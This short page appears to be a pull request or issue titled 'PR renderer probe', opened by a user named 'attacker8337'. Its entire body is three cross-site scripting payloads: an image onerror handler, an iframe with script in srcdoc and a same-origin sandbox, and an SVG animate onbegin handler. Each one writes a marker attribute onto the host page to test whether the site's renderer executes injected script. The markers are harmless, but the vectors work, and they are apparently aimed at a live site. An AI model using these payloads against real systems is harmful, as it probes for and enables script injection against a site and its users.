<img src=x onerror="document.documentElement.dataset.pr='img'"> <iframe srcdoc="<script>parent.document.documentElement.dataset.pr2='srcdoc'</script>" sandbox="allow-same-origin allow-scripts" width=200 height=40></iframe> <svg><animate onbegin="document.documentElement.dataset.pr3='svg'" attributeName=x dur=1s></svg> PR renderer probe
#1 opened 3 days ago
by 
attacker8337